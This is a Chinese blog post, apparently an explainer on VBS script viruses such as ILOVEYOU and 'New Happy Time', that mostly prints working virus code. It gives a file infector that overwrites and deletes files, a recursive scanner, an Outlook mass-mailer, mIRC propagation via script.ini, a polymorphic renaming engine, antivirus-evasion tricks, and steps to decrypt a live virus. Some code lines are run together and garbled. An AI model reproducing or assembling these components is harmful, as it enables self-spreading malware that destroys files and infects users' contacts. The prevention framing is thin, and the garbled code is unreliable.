VBS腳本病毒特點 原理分析以及如何防范 選擇自
neiepbhs 的 Blog
關鍵字 VBS腳本病毒特點 原理分析以及如何防范
出處
網(wǎng)絡的流行，讓我們的世界變得更加美好，但它也有讓人不愉快的時候。當您收到一封主題為“I Love You”的郵件，用興奮得幾乎快發(fā)抖的鼠標去點擊附件的時候；當您瀏覽一個信任的網(wǎng)站之后，發(fā)現(xiàn)打開每個文件夾的速度非常慢的時候，您是否察覺病毒已經(jīng)闖進了您的世界呢？2000年5月4日歐美爆發(fā)的“宏病毒”網(wǎng)絡蠕蟲病毒。由于通過電子郵件系統(tǒng)傳播，宏病毒在短短幾天內(nèi)狂襲全球數(shù)百萬計的電腦。微軟、Intel等在內(nèi)的眾多大型企業(yè)網(wǎng)絡系統(tǒng)癱瘓，全球經(jīng)濟損失達幾十億美元。而去年爆發(fā)的新歡樂時光病毒至今都讓廣大電腦用戶更是苦不堪言。
上面提及的兩個病毒最大的一個共同特點是：使用VBScript編寫。以宏病毒和新歡樂時光病毒為典型代表的VBS腳本病毒十分的猖獗，很重要的一個原因就是其編寫簡單。下面我們就來逐一對VBS腳本病毒的各個方面加以分析：
一、Vbs腳本病毒的特點及發(fā)展現(xiàn)狀
VBS病毒是用VB Script編寫而成，該腳本語言功能非常強大，它們利用Windows系統(tǒng)的開放性特點，通過調(diào)用一些現(xiàn)成的Windows對象、組件，可以直接對文件系統(tǒng)、注冊表等進行控制，功能非常強大。應該說病毒就是一種思想，但是這種思想在用VBS實現(xiàn)時變得極其容易。VBS腳本病毒具有如下幾個特點：
1．編寫簡單，一個以前對病毒一無所知的病毒愛好者可以在很短的時間里編出一個新型病毒來。
2．破壞力大。其破壞力不僅表現(xiàn)在對用戶系統(tǒng)文件及性能的破壞。他還可以使郵件服務器崩潰，網(wǎng)絡發(fā)生嚴重阻塞。
3．感染力強。由于腳本是直接解釋執(zhí)行，并且它不需要像PE病毒那樣，需要做復雜的PE文件格式處理，因此這類病毒可以直接通過自我復制的方式感染其他同類文件，并且自我的異常處理變得非常容易。
4．傳播范圍大。這類病毒通過htm文檔，Email附件或其它方式，可以在很短時間內(nèi)傳遍世界各地。
5．病毒源碼容易被獲取，變種多。由于VBS病毒解釋執(zhí)行，其源代碼可讀性非常強，即使病毒源碼經(jīng)過加密處理后，其源代碼的獲取還是比較簡單。因此，這類病毒變種比較多，稍微改變一下病毒的結構，或者修改一下特征值，很多殺毒軟件可能就無能為力。
6．欺騙性強。腳本病毒為了得到運行機會，往往會采用各種讓用戶不大注意的手段，譬如，郵件的附件名采用雙后綴，如.jpg.vbs，由于系統(tǒng)默認不顯示后綴，這樣，用戶看到這個文件的時候，就會認為它是一個jpg圖片文件。
7．使得病毒生產(chǎn)機實現(xiàn)起來非常容易。所謂病毒生產(chǎn)機，就是可以按照用戶的意愿，生產(chǎn)病毒的機器（當然，這里指的是程序），目前的病毒生產(chǎn)機，之所以大多數(shù)都為腳本病毒生產(chǎn)機，其中最重要的一點還是因為腳本是解釋執(zhí)行的，實現(xiàn)起來非常容易，具體將在我們后面談及。
正因為以上幾個特點，腳本病毒發(fā)展異常迅猛，特別是病毒生產(chǎn)機的出現(xiàn)，使得生成新型腳本病毒變得非常容易。
二、Vbs腳本病毒原理分析
1．vbs腳本病毒如何感染、搜索文件
VBS腳本病毒一般是直接通過自我復制來感染文件的，病毒中的絕大部分代碼都可以直接附加在其他同類程序的中間，譬如新歡樂時光病毒可以將自己的代碼附加在.htm文件的尾部，并在頂部加入一條調(diào)用病毒代碼的語句，而宏病毒則是直接生成一個文件的副本，將病毒代碼拷入其中，并以原文件名作為病毒文件名的前綴，vbs作為后綴。下面我們通過宏病毒的部分代碼具體分析一下這類病毒的感染和搜索原理：
以下是文件感染的部分關鍵代碼：
Set fso=createobject("scripting.filesystemobject")
'創(chuàng)建一個文件系統(tǒng)對象
set self=fso.opentextfile(wscript.scriptfullname,1)
'讀打開當前文件（即病毒本身）
vbscopy=self.readall
' 讀取病毒全部代碼到字符串變量vbscopy……
set ap=fso.opentextfile(目標文件.path,2,true)
' 寫打開目標文件，準備寫入病毒代碼
ap.write vbscopy ' 將病毒代碼覆蓋目標文件
ap.close
set cop=fso.getfile(目標文件.path) '得到目標文件路徑
cop.copy(目標文件.path & ".vbs")
' 創(chuàng)建另外一個病毒文件（以.vbs為后綴）
目標文件.delete(true)
'刪除目標文件
上面描述了病毒文件是如何感染正常文件的：首先將病毒自身代碼賦給字符串變量vbscopy，然后將這個字符串覆蓋寫到目標文件，并創(chuàng)建一個以目標文件名為文件名前綴、vbs為后綴的文件副本，最后刪除目標文件。
下面我們具體分析一下文件搜索代碼：
'該函數(shù)主要用來尋找滿足條件的文件，并生成對應文件的一個病毒副本
sub scan(folder_) 'scan函數(shù)定義，
on error resume next '如果出現(xiàn)錯誤，直接跳過，防止彈出錯誤窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'獲取文件后綴
ext=lcase(ext) '后綴名轉換成小寫字母
if ext="mp5" then '如果后綴名是mp5，則進行感染。
請自己建立相應后綴名的文件，最好是非正常后綴名 ，以免破壞正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目錄；遞歸調(diào)用
scan( ) scan(subfolder)
next
end sub
上面的代碼就是VBS腳本病毒進行文件搜索的代碼分析。搜索部分scan( )函數(shù)做得比較短小精悍，非常巧妙，采用了一個遞歸的算法遍歷整個分區(qū)的目錄和文件。
2．vbs腳本病毒通過網(wǎng)絡傳播的幾種方式及代碼分析
VBS腳本病毒之所以傳播范圍廣，主要依賴于它的網(wǎng)絡傳播功能，一般來說，VBS腳本病毒采用如下幾種方式進行傳播：
1）通過Email附件傳播
這是一種用的非常普遍的傳播方式，病毒可以通過各種方法拿到合法的Email地址，最常見的就是直接取outlook地址簿中的郵件地址，也可以通過程序在用戶文檔（譬如htm文件）中搜索Email地址。
下面我們具體分析一下VBS腳本病毒是如何做到這一點的：
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application")
//創(chuàng)建一個OUTLOOK應用的對象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")
//獲取MAPI的名字空間
Set addrList= mapiObj.AddressLists
//獲取地址表的個數(shù)
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//獲取每個地址表的Email記錄數(shù)
For addrEntIndex= 1 To addrEntCount
//遍歷地址表的Email地址
Set item = outlookApp.CreateItem(0)
//獲取一個郵件對象實例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//獲取具體Email地址
item.To = addrEnt.Address
//填入收信人地址
item.Subject = "病毒傳播實驗"
//寫入郵件標題
item.Body = "這里是病毒郵件傳播測試，收到此信請不要慌張！
" //寫入文件內(nèi)容
Set attachMents=item.Attachments //定義郵件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交后自動刪除
If item.To <> "" Then
item.Send
//發(fā)送郵件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
//病毒標記，以免重復感染
End If
NextEnd IfNext
End if
End Function
2）通過局域網(wǎng)共享傳播
局域網(wǎng)共享傳播也是一種非常普遍并且有效的網(wǎng)絡傳播方式。一般來說，為了局域網(wǎng)內(nèi)交流方便，一定存在不少共享目錄，并且具有可寫權限，譬如win2000創(chuàng)建共享時，默認就是具有可寫權限。這樣病毒通過搜索這些共享目錄，就可以將病毒代碼傳播到這些目錄之中。
在VBS中，有一個對象可以實現(xiàn)網(wǎng)上鄰居共享文件夾的搜索與文件操作。我們利用該對象就可以達到傳播的目的。
welcome_msg = "網(wǎng)絡連接搜索測試"
Set WSHNetwork = WScript.CreateObject("WScript.Network")
’創(chuàng)建一個網(wǎng)絡對象
Set oPrinters = WshNetwork.EnumPrinterConnections
’創(chuàng)建一個網(wǎng)絡打印機連接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2
’顯示網(wǎng)絡打印機連接情況
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’創(chuàng)建一個網(wǎng)絡共享連接列表
If colDrives.Count = 0 Then
MsgBox "沒有可列出的驅動器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "當前網(wǎng)絡驅動器連接: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’顯示當前網(wǎng)絡驅動器連接
End If
上面是一個用來尋找當前打印機連接和網(wǎng)絡共享連接并將它們顯示出來的完整腳本程序。在知道了共享連接之后，我們就可以直接向目標驅動器讀寫文件了。
3）通過感染htm、asp、jsp、php等網(wǎng)頁文件傳播
如今，WWW服務已經(jīng)變得非常普遍，病毒通過感染htm等文件，勢必會導致所有訪問過該網(wǎng)頁的用戶機器感染病毒。
病毒之所以能夠在htm文件中發(fā)揮強大功能，采用了和絕大部分網(wǎng)頁惡意代碼相同的原理?；旧希鼈儾捎昧讼嗤拇a，不過也可以采用其它代碼，這段代碼是病毒FSO,WSH等對象能夠在網(wǎng)頁中運行的關鍵。在注冊表HKEY_CLASSES_ROOT\CLSID\下我們可以找到這么一個主鍵{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}，注冊表中對它他的說明是“Windows Script Host Shell Object”，同樣，我們也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228}，注冊表對它的說明是“FileSystem Object”，一般先要對COM進行初始化，在獲取相應的組件對象之后，病毒便可正確地使用FSO、WSH兩個對象，調(diào)用它們的強大功能。代碼如下所示：
Set Apple0bject = document.applets("KJ_guest")Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")Apple0bject.createInstance() ’創(chuàng)建一個實例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance()
’創(chuàng)建一個實例
Set FSO = Apple0bject.Get0bject()
對于其他類型文件，這里不再一一分析。
4）通過IRC聊天通道傳播
病毒通過IRC傳播一般來說采用以下代碼（以MIRC為例）
Dim mirc
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini")
’創(chuàng)建文件script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs",
True ’將病毒文件備份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*:
{if($nick !=$me){halt} /dcc send $nick C:\mirc\attachment.vbs }"
'利用命令/ddc send $nick attachment.vbs給通道中的其他用戶傳送病毒文件
mirc.Close
以上代碼用來往Script.ini文件中寫入一行代碼，實際中還會寫入很多其他代碼。Script.ini中存放著用來控制IRC會話的命令，這個文件里面的命令是可以自動執(zhí)行的。譬如，TUNE.VBS病毒就會修改c:\mirc\script.ini 和 c:\mirc\mirc.ini，使每當IRC用戶使用被感染的通道時都會收到一份經(jīng)由DDC發(fā)送的TUNE.VBS。同樣，如果Pirch98已安裝在目標計算機的c:\pirch98目錄下，病毒就會修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini，使每當IRC用戶使用被感染的通道時都會收到一份經(jīng)由DDC發(fā)送的TUNE.VBS。
另外病毒也可以通過現(xiàn)在廣泛流行的KaZaA進行傳播。病毒將病毒文件拷貝到KaZaA的默認共享目錄中，這樣，當其他用戶訪問這臺機器時，就有可能下載該病毒文件并執(zhí)行。這種傳播方法可能會隨著KaZaA這種點對點共享工具的流行而發(fā)生作用。
還有一些其他的傳播方法，我們這里不再一一列舉。
3．VBS腳本病毒如何獲得控制權
如何獲取控制權？這一個是一個比較有趣的話題，而VBS腳本病毒似乎將這個話題發(fā)揮的淋漓盡致。筆者在這里列出幾種典型的方法：
1）修改注冊表項
windows在啟動的時候，會自動加載HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run項下的各鍵值所執(zhí)向的程序。腳本病毒可以在此項下加入一個鍵值指向病毒程序，這樣就可以保證每次機器啟動的時候拿到控制權。vbs修改貯冊表的方法比較簡單，直接調(diào)用下面語句即可。 wsh.RegWrite(strName, anyvalue [,strType])
2）通過映射文件執(zhí)行方式
譬如，我們新歡樂時光將dll的執(zhí)行方式修改為wscript.exe。甚至可以將exe文件的映射指向病毒代碼。
3）欺騙用戶，讓用戶自己執(zhí)行
這種方式其實和用戶的心理有關。譬如，病毒在發(fā)送附件時，采用雙后綴的文件名，由于默認情況下，后綴并不顯示，舉個例子，文件名為beauty.jpg.vbs的vbs程序顯示為beauty.jpg，這時用戶往往會把它當成一張圖片去點擊。同樣，對于用戶自己磁盤中的文件，病毒在感染它們的時候，將原有文件的文件名作為前綴，vbs作為后綴產(chǎn)生一個病毒文件，并刪除原來文件，這樣，用戶就有可能將這個vbs文件看作自己原來的文件運行。
4）desktop.ini和folder.htt互相配合
這兩個文件可以用來配置活動桌面，也可以用來自定義文件夾。如果用戶的目錄中含有這兩個文件，當用戶進入該目錄時，就會觸發(fā)folder.htt中的病毒代碼。這是新歡樂時光病毒采用的一種比較有效的獲取控制權的方法。并且利用folder.htt，還可能觸發(fā)exe文件，這也可能成為病毒得到控制權的一種有效方法！
病毒獲得控制權的方法還有很多，這方面作者發(fā)揮的余地也比較大。
4．vbs腳本病毒對抗反病毒軟件的幾種技巧
病毒要生存，對抗反病毒軟件的能力也是必需的。一般來說，VBS腳本病毒采用如下幾種對抗反病毒軟件的方法：
1）自加密
譬如，新歡樂時光病毒，它可以隨機選取密鑰對自己的部分代碼進行加密變換，使得每次感染的病毒代碼都不一樣，達到了多態(tài)的效果。這給傳統(tǒng)的特征值查毒法帶來了一些困難。病毒也還可以進一步的采用變形技術，使得每次感染后的加密病毒的解密后的代碼都不一樣。
下面看一個簡單的vbs腳本變形引擎(來自flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")
’創(chuàng)建文件系統(tǒng)對象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’讀取自身代碼
fS=Array("Of", "vC", "fS", "fSC")
’定義一個即將被替換字符的數(shù)組
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
’取4個隨機字符替換數(shù)組fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’將替換后的代碼寫回文件
上面這段代碼使得該VBS文件在每次運行后，其Of，vC，fS，fSC四字符串都會用隨機字符串來代替，這在很大程度上可以防止反病毒軟件用特征值查毒法將其查出。
2）巧妙運用Execute函數(shù)
用過VBS程序的朋友是否會覺得奇怪：當一個正常程序中用到了FileSystemObject對象的時候，有些反病毒軟件會在對這個程序進行掃描的時候報告說此Vbs文件的風險為高，但是有些VBS腳本病毒同樣采用了FileSystemObject對象，為什么卻又沒有任何警告呢？原因很簡單，就是因為這些病毒巧妙的運用了Execute方法。有些殺毒軟件檢測VBS病毒時，會檢查程序中是否聲明使用了FileSystemObject對象，如果采用了，這會發(fā)出報警。如果病毒將這段聲明代碼轉化為字符串，然后通過Execute(String)函數(shù)執(zhí)行，就可以躲避某些反病毒軟件。
3）改變某些對象的聲明方法
譬如fso=createobject("scripting.filesystemobject")，我們將其改變?yōu)?div style="height:15px;">
fso=createobject("script"＋"ing.filesyste"＋"mobject")，這樣反病毒軟件對其進行靜態(tài)掃描時就不會發(fā)現(xiàn)filesystemobject對象。
所謂病毒生產(chǎn)機就是指可以直接根據(jù)用戶的選擇產(chǎn)生病毒源代碼的軟件。在很多人看來這或許不可思議，其實對腳本病毒而言它的實現(xiàn)非常簡單。
腳本語言是解釋執(zhí)行的、不需要編譯，程序中不需要什么校驗和定位，每條語句之間分隔得比較清楚。這樣，先將病毒功能做成很多單獨的模塊，在用戶做出病毒功能選擇后，生產(chǎn)機只需要將相應的功能模塊拼湊起來，最后再作相應的代碼替換和優(yōu)化即可。由于篇幅關系和其他原因，這里不作詳細介紹。
用JediEdit打開folder.htt。我們發(fā)現(xiàn)這個文件總共才93行，第一行<BODY onload="vbscript:KJ_start()">，幾行注釋后，以<html>開始，</html>節(jié)尾。相信每個人都知道這是個什么類型的文件吧！
87：<script language=vbscript> 88：ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...;后面省略，很長！
第87和91行不用解釋了，第88行是一個字符串的賦值，很明顯這是被加密過的病毒代碼?？纯?9行最后的一段代碼ThisText = ThisText & TempChar，再加上下面那一行，我們肯定能夠猜到ThisText里面放的是病毒解密代碼（熟悉vbs的兄弟當然也可以分析一下這段解密代碼，too simple!就算完全不看代碼也應該可以看得出來的)。第90行是執(zhí)行剛才ThisText中的那段代碼（經(jīng)過解密處理后的代碼）。
那么，下一步該怎么做呢？很簡單，我們只要在病毒代碼解密之后，將ThisText的內(nèi)容輸出到一個文本文件就可以解決了。由于上面幾行是vbscript,于是我創(chuàng)建了如下一個.txt文件：
首先，copy第88、89兩行到剛才建立的.txt文件，當然如果你愿意看看新歡樂時光的執(zhí)行效果，你也可以在最后輸入第90行。然后在下面一行輸入創(chuàng)建文件和將ThisText寫入文件vbs代碼，整個文件如下所示：
Execute("Dim KeyAr... ’ 第89行代碼
OK！就這么簡單，保存文件，將該文件后綴名.txt改為.vbs(.vbe也可以)，雙擊，你會發(fā)現(xiàn)該文件目錄下多了一個文件resource.log，打開這個文件，怎么樣？是不是“新歡樂時光”的源代碼?。?div style="height:15px;">
